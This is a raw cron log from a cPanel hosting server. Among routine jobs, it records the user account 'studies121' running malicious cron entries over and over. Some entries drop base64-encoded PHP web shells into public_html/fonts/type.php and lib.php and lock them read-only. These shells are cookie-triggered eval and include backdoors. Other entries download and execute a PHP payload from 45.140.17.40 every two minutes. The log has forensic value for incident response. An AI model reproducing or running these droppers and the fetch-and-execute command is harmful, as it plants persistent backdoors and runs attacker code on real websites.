Sep  1 02:35:01 ip-184-168-122-23 CROND[1897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:35:01 ip-184-168-122-23 CROND[1903]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:35:01 ip-184-168-122-23 CROND[1904]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 02:35:01 ip-184-168-122-23 CROND[1905]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:35:01 ip-184-168-122-23 CROND[1914]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 02:35:01 ip-184-168-122-23 CROND[1912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:35:01 ip-184-168-122-23 CROND[1915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:35:01 ip-184-168-122-23 CROND[1916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:36:01 ip-184-168-122-23 CROND[2011]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:36:01 ip-184-168-122-23 CROND[2012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:36:01 ip-184-168-122-23 CROND[2015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:36:01 ip-184-168-122-23 CROND[2016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:36:01 ip-184-168-122-23 CROND[2018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:37:01 ip-184-168-122-23 CROND[2098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:37:01 ip-184-168-122-23 CROND[2097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:37:01 ip-184-168-122-23 CROND[2100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:37:01 ip-184-168-122-23 CROND[2102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:38:01 ip-184-168-122-23 CROND[2265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:38:01 ip-184-168-122-23 CROND[2267]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:38:01 ip-184-168-122-23 CROND[2269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:38:01 ip-184-168-122-23 CROND[2268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:38:01 ip-184-168-122-23 CROND[2270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:39:01 ip-184-168-122-23 CROND[2352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:39:01 ip-184-168-122-23 CROND[2354]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 02:39:01 ip-184-168-122-23 CROND[2356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:39:01 ip-184-168-122-23 CROND[2357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:39:01 ip-184-168-122-23 CROND[2355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:40:01 ip-184-168-122-23 CROND[2452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:40:01 ip-184-168-122-23 CROND[2454]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:40:01 ip-184-168-122-23 CROND[2453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:40:01 ip-184-168-122-23 CROND[2457]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:40:01 ip-184-168-122-23 CROND[2459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:40:01 ip-184-168-122-23 CROND[2462]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:40:01 ip-184-168-122-23 CROND[2460]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 02:40:01 ip-184-168-122-23 CROND[2463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:41:01 ip-184-168-122-23 CROND[2551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:41:01 ip-184-168-122-23 CROND[2553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:41:01 ip-184-168-122-23 CROND[2556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:41:01 ip-184-168-122-23 CROND[2554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:42:01 ip-184-168-122-23 CROND[2641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:42:01 ip-184-168-122-23 CROND[2642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:42:01 ip-184-168-122-23 CROND[2644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:42:01 ip-184-168-122-23 CROND[2645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:42:01 ip-184-168-122-23 CROND[2646]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:43:01 ip-184-168-122-23 CROND[2731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:43:01 ip-184-168-122-23 CROND[2732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:43:01 ip-184-168-122-23 CROND[2734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:43:01 ip-184-168-122-23 CROND[2733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:44:01 ip-184-168-122-23 CROND[2907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:44:01 ip-184-168-122-23 CROND[2911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:44:01 ip-184-168-122-23 CROND[2910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:44:01 ip-184-168-122-23 CROND[2909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:44:01 ip-184-168-122-23 CROND[2912]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:45:01 ip-184-168-122-23 CROND[3011]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:45:01 ip-184-168-122-23 CROND[3010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:45:01 ip-184-168-122-23 CROND[3013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:45:01 ip-184-168-122-23 CROND[3015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:45:01 ip-184-168-122-23 CROND[3014]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:45:01 ip-184-168-122-23 CROND[3016]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:46:01 ip-184-168-122-23 CROND[3133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:46:01 ip-184-168-122-23 CROND[3136]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 02:46:01 ip-184-168-122-23 CROND[3135]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:46:01 ip-184-168-122-23 CROND[3137]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 02:46:01 ip-184-168-122-23 CROND[3139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:46:01 ip-184-168-122-23 CROND[3140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:46:01 ip-184-168-122-23 CROND[3141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
